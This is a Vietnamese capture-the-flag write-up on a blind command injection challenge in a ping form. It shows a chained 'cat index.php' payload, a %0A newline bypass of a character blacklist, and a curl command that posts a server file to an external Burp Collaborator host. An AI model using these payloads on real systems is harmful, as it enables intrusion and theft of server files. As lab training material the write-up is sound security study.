Chào mừng các bạn đến với challenge lần này. Link mình để ở đây nhé! Cùng bắt đầu ngay nàooo
InTr0
Nếu bạn nào là làm phần 1 thì có thể nhận ra ngay là bài này sẽ cho ta nhập vào một ip sau đó thực hiện ping tới ip đó rồi cho ta kết quả. Ở phần 1 thì đơn giản là ta chỉ cần nối thêm một lệnh khác vào là có thể lấy được flag ngay
127.0.0.1 && cat index.php
Nhưng bài này ở một level cao hơn. Khi ta thử nhập chính xác 1 ip vào thì kết quả trả về chỉ là một dòng thông báo là đã ping thành công.
Hơn thế nữa, khi ta inject command như ở phần 1 thì có thông báo syntax error
. Thử một đổi &
thành |
hoặc ;
nhưng cũng vẫn syntax error
. Có thể hiểu đơn giản là ở đây đã có filter để ngăn không cho inject command và không hiển thị kết quả trực tiếp của dòng lệnh.
Bypass filter
Để bypass được filter thì ta nghĩ ngay đến Command Injection Payload List
ở đây đã cung cấp sẵn cho mình một số payload để có thể bypass được filter. Việc của mình là bật Burp Suite lên và brute-force.
Như bạn có thể thấy, khi dùng %0A
ta có thể inject command. Hiểu đơn giản thì %0A
là một kí tự tương tự khi ta bấm ENTER (để xuống dòng). Vì vậy ta có thể thêm các lệnh khác vào sau đó để thực hiện tiếp.
Sau khi bypass được filter thì ta có thể tạm hiểu là server đã dùng một black list để chặn không cho ta nhập một số kí tự đặc biệt để inject command. Và ở trường hợp này ta có thể chắc chắn rằng một trong số kí tự trong black list đó là &
. Còn %
thì lại không nằm trong black list đó nên câu lệnh của ta mới được chấp nhận và thực hiện.
Blind Injection
Vấn đề bây giờ là khi run được command rồi nhưng kết quả lại không hiện ra. Để giải quyết thì chỉ có cách là gửi cái kết quả đó đến một chỗ khác - nơi mà mình có thể đọc được.
Ban đầu mình có thấy một request như sau:
Mình thử ghi kết quả lên file ./includes/logs/app_access.log
nhưng ghi được hay không còn chưa biết mà server cứ time-out mãi thôi :(
Sau một hồi loay hoay thì mới nhớ ra ông Burp Collaborator Client.
curl -X POST -F file=@index.php http://xxx.burpcollaborator.net
Oke vào check và thấy flag nằm trong file .passwd chứ không phải index.php
Vậy là đã hết nửa buổi rồi, lấy flag thôi…
Hẹn gặp lại các bạn ở challenge tiếp theo <3